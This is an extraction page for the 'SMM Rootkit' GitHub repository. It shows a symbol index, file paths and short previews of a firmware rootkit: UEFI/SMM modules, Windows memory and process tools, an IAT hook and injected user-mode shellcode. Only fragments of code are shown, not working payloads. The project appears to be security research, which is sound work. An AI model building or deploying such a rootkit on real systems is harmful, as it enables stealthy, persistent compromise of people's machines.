  function EFI_STATUS (line 76) | EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABL...

FILE: SMM Rootkit/SMMRootkit/TimerRTC.c
  function UINT8 (line 4) | UINT8 cmos_read(UINT8 index)
  function VOID (line 10) | VOID cmos_write(UINT8 index, UINT8 val)
  function VOID (line 16) | VOID read_statusc()
  function VOID (line 23) | VOID cmos_enable()
  function UINT8 (line 44) | UINT8 get_RTC_register(INT32 reg)
  function UINT16 (line 50) | UINT16 CmosGetCurrentTime()

FILE: SMM Rootkit/SMMRootkit/WinTools.c
  function STATIC (line 16) | STATIC BOOLEAN CheckLow(UINT64 *pml4, UINT64 *kernelEntry)
  function STATIC (line 47) | STATIC BOOLEAN findNtosKrnl(UINT64 kernelEntry, UINT64 PML4, UINT64 *ntK...
  function VOID (line 139) | VOID FreeExportList(WinExportList list)
  function UINT64 (line 151) | UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 ...
  function UINT64 (line 163) | UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName)
  function STATIC (line 171) | STATIC UINT16 GetNTVersion(const WinCtx *ctx)
  function STATIC (line 205) | STATIC UINT32 GetNTBuild(const WinCtx *ctx)
  function STATIC (line 263) | STATIC BOOLEAN SetupOffsets(WinCtx *ctx)
  function BOOLEAN (line 353) | BOOLEAN InitGlobalWindowsContext()
  function BOOLEAN (line 482) | BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT...
  function BOOLEAN (line 592) | BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UI...
  function IMAGE_NT_HEADERS (line 618) | IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process,...
  function BOOLEAN (line 639) | BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose)
  function BOOLEAN (line 771) | BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *proc...
  function STATIC (line 895) | STATIC BOOLEAN DumpSingleModule64(const WinCtx *ctx, const WinProc *proc...
  function STATIC (line 991) | STATIC BOOLEAN DumpSingleModule86(const WinCtx *ctx, const WinProc *proc...
  function BOOLEAN (line 1096) | BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinM...
  function PEB (line 1115) | PEB GetPeb(const WinCtx *ctx, const WinProc *process)
  function PEB32 (line 1124) | PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process)
  function STATIC (line 1135) | STATIC PIMAGE_NT_HEADERS PE_HeaderGetVerify(WinProc *process, WinModule ...
  function BOOLEAN (line 1169) | BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, ...
  function STATIC (line 1338) | STATIC UINT16 PE_SectionGetNumberOf(WinProc *process, WinModule *basemod...
  function STATIC (line 1377) | STATIC VOID PE_SECTION_DisplayBuffer(WinProc *process, WinModule *basemo...
  function BOOLEAN (line 1427) | BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMA...
  function STATIC (line 1444) | STATIC BOOLEAN PE_GetThunkInfoEAT(WinProc *process, WinModule *basemodul...
  function UINT64 (line 1586) | UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CH...

FILE: SMM Rootkit/SMMRootkit/WinTools.h
  type ProcessData (line 32) | typedef struct ProcessData
  type WinOffsets (line 39) | typedef struct WinOffsets
  type WinProc (line 52) | typedef struct WinProc
  type WinProcList (line 61) | typedef struct WinProcList
  type WinExport (line 67) | typedef struct WinExport
  type WinExportList (line 73) | typedef struct WinExportList
  type WinModule (line 79) | typedef struct WinModule
  type WinModuleList (line 88) | typedef struct WinModuleList
  type WinCtx (line 94) | typedef struct WinCtx
  type PE_THUNKINFO_IAT (line 105) | typedef struct tdPE_THUNKINFO_IAT
  type PE_THUNKINFO_EAT (line 115) | typedef struct tdPE_THUNKINFO_EAT
  type IMAGE_IMPORT_DESCRIPTOR (line 124) | typedef struct _IMAGE_IMPORT_DESCRIPTOR

FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.c
  function BOOLEAN (line 30) | static BOOLEAN WindowsUmdIATHookStage1()
  function BOOLEAN (line 59) | static BOOLEAN WindowsUmdIATHookStage2()
  function BOOLEAN (line 193) | static BOOLEAN WindowsUmdIATHookStage3()
  function BOOLEAN (line 244) | BOOLEAN WindowsUmdIATHook()
  function VOID (line 304) | VOID InitWindowsUmdIATHook()

FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.h
  type WinUmdIATState (line 11) | typedef enum _WinUmdIATState
  type WinUmdIATCtxLimited (line 19) | typedef struct _WinUmdIATCtx

FILE: SMM Rootkit/SMMRootkit/serial.c
  function VOID (line 35) | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate)
  function VOID (line 56) | VOID SerialPortWrite(UINT16 Port, UINT8 Data)
  function UINT8 (line 70) | UINT8 SerialPortRead(UINT16 Port)
  function VOID (line 84) | VOID SerialPrintString(const char *text)
  function VOID (line 95) | VOID SerialPrintStringDebug(const char *text)
  function VOID (line 102) | VOID SerialTest()
  function VOID (line 112) | VOID SerialSendData(const VOID *buf, UINT8 len)
  function VOID (line 120) | VOID SerialPrintNumber(INT64 _v, INT64 _b)
  function VOID (line 158) | VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b)

FILE: SMM Rootkit/SMMRootkit/string.c
  function strlen (line 3) | size_t strlen(const CHAR8 *str)
  function CHAR8 (line 12) | CHAR8 *strcat(CHAR8 *destination, const CHAR8 *source)
  function INT32 (line 28) | INT32 memcmp(const VOID *str1, const VOID *str2, size_t count)
  function CHAR8 (line 41) | CHAR8 tolower(UINT8 ch)
  function INT32 (line 48) | INT32 stricmp(const CHAR8 *s1, const CHAR8 *s2)
  function INT32 (line 59) | INT32 strcmp(const CHAR8 *s1, const CHAR8 *s2)
  function INT32 (line 67) | INT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n)
  function CHAR8 (line 85) | const CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y)
  function CHAR8 (line 100) | CHAR8 *strdup(CHAR8 *src)

FILE: SMM Rootkit/SMMRootkit/string.h
  type UINT32 (line 8) | typedef UINT32 size_t;

FILE: SMM Rootkit/SMMRootkit/windows.h
  type IMAGE_DOS_HEADER (line 26) | typedef struct _IMAGE_DOS_HEADER
  type IMAGE_EXPORT_DIRECTORY (line 49) | typedef struct _IMAGE_EXPORT_DIRECTORY
  type IMAGE_FILE_HEADER (line 64) | typedef struct _IMAGE_FILE_HEADER
  type IMAGE_DATA_DIRECTORY (line 75) | typedef struct _IMAGE_DATA_DIRECTORY
  type IMAGE_OPTIONAL_HEADER64 (line 81) | typedef struct _IMAGE_OPTIONAL_HEADER64
  type IMAGE_NT_HEADERS64 (line 115) | typedef struct _IMAGE_NT_HEADERS64
  type IMAGE_OPTIONAL_HEADER32 (line 122) | typedef struct _IMAGE_OPTIONAL_HEADER32
  type IMAGE_NT_HEADERS32 (line 157) | typedef struct _IMAGE_NT_HEADERS32
  type IMAGE_SECTION_HEADER (line 164) | typedef struct _IMAGE_SECTION_HEADER
  type LIST_ENTRY_WIN (line 181) | typedef struct _LIST_ENTRY_WIN
  type UNICODE_STRING (line 187) | typedef struct _UNICODE_STRING
  type LDR_MODULE (line 194) | typedef struct _LDR_MODULE
  type PEB_LDR_DATA (line 211) | typedef struct _PEB_LDR_DATA
  type PEB (line 222) | typedef struct _PEB
  type LIST_ENTRY_32_WIN (line 234) | typedef struct _LIST_ENTRY_32_WIN
  type UNICODE_STRING32 (line 240) | typedef struct _UNICODE_STRING32
  type LDR_MODULE32 (line 247) | typedef struct _LDR_MODULE32
  type PEB_LDR_DATA32 (line 264) | typedef struct _PEB_LDR_DATA32
  type PEB32 (line 275) | typedef struct _PEB32

FILE: SMM Rootkit/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c
  function BOOLEAN (line 33) | BOOLEAN
  function VOID (line 60) | VOID
  function UINT64 (line 81) | UINT64
  function UINT8 (line 97) | UINT8
  function VOID (line 137) | VOID
  function UINT32 (line 238) | UINT32
  function VOID (line 345) | VOID
  function UINT64 (line 365) | UINT64
  function UINT64 (line 384) | UINT64
  function VOID (line 420) | VOID
  function UINT64 (line 632) | UINT64
  function VOID (line 662) | VOID
  function VOID (line 801) | VOID
  function VOID (line 904) | VOID

FILE: shellcode/windows_x64_umd_iat/windows_x64_umd_iat.c
  type QWORD (line 11) | typedef unsigned __int64		QWORD, *PQWORD;
  type UMD_EXEC_CONTEXT_FULL (line 34) | typedef struct tdUMD_EXEC_CONTEXT_FULL {
  function VOID (line 100) | VOID c_EntryPoint(PUMD_EXEC_CONTEXT_FULL ctx)

FILE: target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.cpp
  function main (line 9) | int main()
Condensed preview — 40 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (305K chars).
[
  {
    "path": ".gitignore",
    "chars": 6,
    "preview": "edk2/*"
  },
  {
    "path": "Dockerfile",
    "chars": 213,
    "preview": "FROM ubuntu:16.04\nMAINTAINER Jussi Hietanen\n\nRUN \\\n\tapt-get update && \\\n\tapt-get -y install ccache build-essential pytho"
  },
  {
    "path": "LICENSE",
    "chars": 35149,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "README.md",
    "chars": 6326,
    "preview": "# SMM Rootkit\n\n## Table of contents\n- [Repository Contents](#repository-contents)\n  * [SMM Rootkit](#smm-rootkit-1)\n  * "
  },
  {
    "path": "SMM Rootkit/Conf/target.txt",
    "chars": 5206,
    "preview": "#\r\n#  Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>\r\n#\r\n#  This program and the accompanying ma"
  },
  {
    "path": "SMM Rootkit/OvmfPkg/OvmfPkgX64.dsc",
    "chars": 40591,
    "preview": "## @file\r\n#  EFI/Framework Open Virtual Machine Firmware (OVMF) platform\r\n#\r\n#  Copyright (c) 2006 - 2018, Intel Corpora"
  },
  {
    "path": "SMM Rootkit/OvmfPkg/OvmfPkgX64.fdf",
    "chars": 18780,
    "preview": "## @file\r\n#  Open Virtual Machine Firmware: FDF\r\n#\r\n#  Copyright (c) 2006 - 2017, Intel Corporation. All rights reserved"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/.gitignore",
    "chars": 9,
    "preview": ".vscode/\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemManager.c",
    "chars": 3178,
    "preview": "#include \"MemManager.h\"\n\nstatic BOOLEAN memPoolInitialized;\nstatic PMemAllocEntry_t memPool;\nstatic UINT32 pagesInPool;\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemManager.h",
    "chars": 2018,
    "preview": "#ifndef __smmrootkit_memory_manager_h__\n#define __smmrootkit_memory_manager_h__\n\n#include <Uefi.h>\n#include <Base.h>\n#in"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/Memory.c",
    "chars": 8260,
    "preview": "#include \"Memory.h\"\n\n// from SMMRootkit.c\nextern EFI_SMM_SYSTEM_TABLE2 *gSmst2;\n\nBOOLEAN p_memCpy(UINT64 dest, UINT64 sr"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/Memory.h",
    "chars": 972,
    "preview": "#ifndef __smmrootkit_memory_h__\n#define __smmrootkit_memory_h__\n\n#include <Uefi.h>\n#include <Protocol/SmmBase2.h>\n\n#incl"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemoryMapUEFI.c",
    "chars": 6879,
    "preview": "#include \"MemoryMapUEFI.h\"\n\nEFI_EXIT_BOOT_SERVICES gOrigExitBootServices;\nEFI_MEMORY_DESCRIPTOR *mUefiMemoryMap;\nUINTN m"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemoryMapUEFI.h",
    "chars": 341,
    "preview": "#ifndef __smmrootkit_mm_uefi_h__\n#define __smmrootkit_mm_uefi_h__\n\n#include <Uefi.h>\n#include <Library/BaseMemoryLib.h>\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/SMMRootkit.c",
    "chars": 4993,
    "preview": "// Basic UEFI Libraries\n#include <Uefi.h>\n\n// Protocols\n#include <Protocol/SmmBase2.h>\n\n// Our includes\n#include \"Memor"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/SMMRootkit.inf",
    "chars": 1054,
    "preview": "[defines]\n  INF_VERSION = 0x00010005 \n  BASE_NAME = SMMRootkit\n  FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1\n  MODU"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/TimerRTC.c",
    "chars": 1201,
    "preview": "#include \"TimerRTC.h\"\n\n\nUINT8 cmos_read(UINT8 index)\n{\n  IoWrite8(CMOS_PORT_ADDRESS, index);\n  return IoRead8(CMOS_PORT_"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/TimerRTC.h",
    "chars": 368,
    "preview": "#ifndef __smmrootkit_timer_rtc_h__\n#define __smmrootkit_timer_rtc_h__\n\n#include <Uefi.h>\n#include <Library/IoLib.h>\n\n#de"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinTools.c",
    "chars": 47697,
    "preview": "#include \"WinTools.h\"\n\n#ifndef HEADER_SIZE\n#define HEADER_SIZE 0x1000\n#endif\n\nWinCtx *winGlobal = NULL;\n\n// from SMMRoot"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinTools.h",
    "chars": 4575,
    "preview": "/*\n * This file and the corresponding .c file \n * contains a set of needed Windows-related \n * functions for both readin"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinUmdIATHook.c",
    "chars": 10864,
    "preview": "#include \"WinUmdIATHook.h\"\n\n// From NtKernelTools.c\nextern WinCtx *winGlobal;\n\n// shellcode to inject into the UMD\nconst"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinUmdIATHook.h",
    "chars": 852,
    "preview": "#ifndef __smmrootkit_win_umd_iat_h__\n#define __smmrootkit_win_umd_iat_h__\n\n#include <Base.h>\n\n#include \"windows.h\"\n#incl"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/helpers.asm",
    "chars": 2237,
    "preview": "\r\n.CODE\r\n\r\n;\r\n; UINT64 GetCR0(VOID)\r\n;\r\nGetCR0\t\t\t\t\tproc\r\n\t\t\t\t\t\tmov\t\trax, cr0\r\n\t\t\t\t\t\tret\r\nGetCR0\t\t\t\t\tendp\r\n\r\n;\r\n; UINT64 "
  },
  {
    "path": "SMM Rootkit/SMMRootkit/serial.c",
    "chars": 3289,
    "preview": "#include \"serial.h\"\r\n\r\n/*\r\n * UART Register Offsets\r\n */\r\n#define BAUD_LOW_OFFSET 0x00\r\n#define BAUD_HIGH_OFFSET 0x01\r\n#"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/serial.h",
    "chars": 1464,
    "preview": "#ifndef __smmrootkit_serial_h__\r\n#define __smmrootkit_serial_h__\r\n\r\n/*\r\n * Serial port configuration.\r\n * For EFI_DEBUG_"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/string.c",
    "chars": 2020,
    "preview": "#include \"string.h\"\n\nsize_t strlen(const CHAR8 *str)\n{\n  const CHAR8 *s;\n\n  for (s = str; *s; ++s)\n    ;\n  return (s - s"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/string.h",
    "chars": 568,
    "preview": "#ifndef __smmrootkit_string_h__\n#define __smmrootkit_string_h__\n\n#include <Base.h>\n#include \"MemManager.h\" // strdup\n\n#i"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/windows.h",
    "chars": 7127,
    "preview": "/*\r\n * This file has originally been supplied from \r\n * vmread by Heep042\r\n */\r\n\r\n#ifndef __smmrootkit_windows_h__\r\n#def"
  },
  {
    "path": "SMM Rootkit/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c",
    "chars": 31550,
    "preview": "/** @file\r\nPage Fault (#PF) handler for X64 processors\r\n\r\nCopyright (c) 2009 - 2017, Intel Corporation. All rights reser"
  },
  {
    "path": "SMM Rootkit/UefiCpuPkg/UefiCpuPkg.dec",
    "chars": 16767,
    "preview": "## @file  UefiCpuPkg.dec\r\n# This Package provides UEFI compatible CPU modules and libraries.\r\n#\r\n# Copyright (c) 2007 - "
  },
  {
    "path": "run_docker.sh",
    "chars": 710,
    "preview": "#!/bin/bash\n\nSOURCE=\"${BASH_SOURCE[0]}\"\nwhile [ -h \"$SOURCE\" ]; do # resolve $SOURCE until the file is no longer a symli"
  },
  {
    "path": "shellcode/windows_x64_umd_iat/README.md",
    "chars": 844,
    "preview": "# Windows X64 Usermode IAT Hook\n\n## Compile and use\n\n```\ncl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /c /TC window"
  },
  {
    "path": "shellcode/windows_x64_umd_iat/windows_x64_umd_iat.asm",
    "chars": 1280,
    "preview": "; wx64_umd_exec.asm : assembly to receive execution from initial hook in user-mode shellcode (umd).\n;\n; (c) Ulf Frisk, 2"
  },
  {
    "path": "shellcode/windows_x64_umd_iat/windows_x64_umd_iat.c",
    "chars": 4194,
    "preview": "// wx64_umd_exec_c.c : usermode 'umd' shellcode for PCILeech for starting and\n//                     and executing a pro"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/.gitignore",
    "chars": 6084,
    "preview": "## Ignore Visual Studio temporary files, build results, and\r\n## files generated by popular Visual Studio add-ons.\r\n##\r\n#"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/README.md",
    "chars": 527,
    "preview": "# Tester program for Windows X64 Usermode IAT Hook\n\nThis program is a tester program for the IAT hook shellcode.\n\nIt cal"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.cpp",
    "chars": 339,
    "preview": "// windows_x64_umd_iat.cpp : This file contains the 'main' function. Program execution begins and ends there.\r\n//\r\n\r\n#in"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj",
    "chars": 7434,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/ms"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj.filters",
    "chars": 973,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
    "path": "target_tests/windows_x64_umd_iat/windows_x64_umd_iat.sln",
    "chars": 1475,
    "preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.2"
  }
]

About this extraction

This page contains the full source code of the jussihi/SMM-Rootkit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 40 files (281.7 KB), approximately 83.3k tokens, and a symbol index with 135 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!